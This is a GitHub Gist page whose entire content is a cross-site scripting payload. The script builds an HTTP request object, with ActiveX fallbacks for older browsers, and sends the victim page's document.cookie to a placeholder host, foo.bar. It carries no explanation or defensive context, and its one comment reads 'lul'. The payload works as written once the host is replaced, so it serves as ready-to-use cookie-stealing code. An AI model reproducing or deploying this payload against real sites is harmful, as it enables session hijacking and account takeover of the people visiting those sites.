Skip to content

Instantly share code, notes, and snippets.

@LoadLow
Created April 18, 2016 13:41
Show Gist options
  • Save LoadLow/788cb9ecb538a031f4330a990e837bee to your computer and use it in GitHub Desktop.
Save LoadLow/788cb9ecb538a031f4330a990e837bee to your computer and use it in GitHub Desktop.
<script>
(function() {
var ctors = [
function () {return new XMLHttpRequest()},
function () {return new ActiveXObject("Msxml2.XMLHTTP")},
function () {return new ActiveXObject("Msxml3.XMLHTTP")},
function () {return new ActiveXObject("Microsoft.XMLHTTP")}
];
var req;
for (var i=0;i<ctors.length;i++) {
try { req = ctors[i](); } catch (e) { continue; } break;
}
req.open("GET","http://foo.bar/?c="+escape(document.cookie),false);
req.send(null);
})();
</script>
@Romain-P
Copy link

Romain-P commented Nov 5, 2018


lul

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment